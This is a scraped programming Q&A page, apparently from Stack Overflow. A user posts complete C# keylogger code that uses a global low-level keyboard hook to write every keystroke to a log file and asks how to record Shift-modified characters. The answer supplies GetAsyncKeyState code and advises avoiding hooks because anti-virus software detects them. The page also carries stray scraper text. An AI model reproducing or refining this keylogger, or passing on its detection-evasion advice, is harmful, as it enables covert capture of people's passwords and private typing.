How to properly capture user's keystrokes in C#, i.e. respecting SHIFT key etc

Multi tool use
Multi tool use


How to properly capture user's keystrokes in C#, i.e. respecting SHIFT key etc



I have written the following C# program to capture the user's keystrokes.



It works perfectly, except that all keys are logged as lower-case without taking the SHIFT key into account (see below).



I have read all of the Win32 API's documentation. Still I much be missing something.



How can I correct this program to log keystrokes properly?



If I enter HelloWorld!!!, the following keys are output in log.txt:


HelloWorld!!!


h
e
l
l
o
w
o
r
l
d
1
1
1



I.e., it does not consider SHIFT, which is the purpose of GetKeyboardState()?


GetKeyboardState()



The program:


using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;

namespace CSharpKeyLogger
{
public static class Program
{
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int GetKeyboardState(byte keystate);

[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);

[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

private const int MAPVK_VK_TO_VSC = 0;

private const int BUFF_SZ = 4;

private const string logFileName = "log.txt";
private static StreamWriter logFile;

private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;

public static void Main()
{
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;

hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}

private static IntPtr SetHook(HookProc hookProc)
{
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}

private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
uint vkCode = (uint)Marshal.ReadInt32(lParam);

byte kb = new byte[256];
GetKeyboardState(kb);

StringBuilder buf = new StringBuilder(BUFF_SZ + 1);

switch(ToUnicode(vkCode, (uint)MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), kb, buf, BUFF_SZ, 0))
{
case -1:
break;
case 0:
break;
case 1:
case 2:
case 3:
case 4:
logFile.WriteLine(buf.ToString());
break;
}
}

return CallNextHookEx(hookId, nCode, wParam, lParam);
}
}
}





you will have to check the modifier keys like shift and take action on it.
– codeteq
Jun 29 at 18:16





@codeteq - Will you provide a small example of how to do it? Shouldn't GetKeyboardState() do exactly that?
– user111854
Jun 29 at 18:17





Since you are programming in C#, what does this have to do with C++? You should remove the tag and stick with one language.
– Thomas Matthews
Jun 29 at 18:20





@ThomasMatthews - I use C++ Win32 APIs.
– user111854
Jun 29 at 18:21





Read the docs on GetKeyboardState(). msdn.microsoft.com/en-us/library/windows/desktop/… -- There's also GetKeyState(): msdn.microsoft.com/en-us/library/windows/desktop/…
– Trioj
Jun 29 at 18:27





1 Answer
1



You will need to check modifier keys by yourself:



Use GetAsyncKeyState


[DllImport("user32.dll")]
static extern long GetAsyncKeyState(uint nVirtKey);



Then you will need to figure out which modifier key is pressed while you obtain the other keys. In your code you could do it like this:


var t = buf.ToString();
// > 1 for the condition is working there are certain values for keydown/keypressed etc. just example!
var shifted = GetAsyncKeyState((uint)Keys.LShiftKey) > 1
|| GetAsyncKeyState((uint)Keys.RShiftKey) > 1;
if (shifted)
t = t.ToUpper();
Console.Write(t);



If you try to create a keylogger (assuming for good things) don't use
hooks as they can be easily detected by other programs i.e. most
anti-virus software - making a bad impression of your program.





thanks. However, I've seen other people say that hooks are much more efficient memory-wise? The statement t = t.ToUpper(); does that work if t=1 and should be "!" ?
– user111854
Jun 30 at 7:25


t = t.ToUpper();


t=1





hooks are more efficient memeory-wise, but easily detected. ToUpper works only for alphabet caharacters. it's just an example.
– codeteq
Jul 1 at 13:33






By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

3 i9L31,ofGRM
9 xvAKK

Popular posts from this blog

PySpark - SparkContext: Error initializing SparkContext File does not exist

django NoReverseMatch Exception

Audio Livestreaming with Python & Flask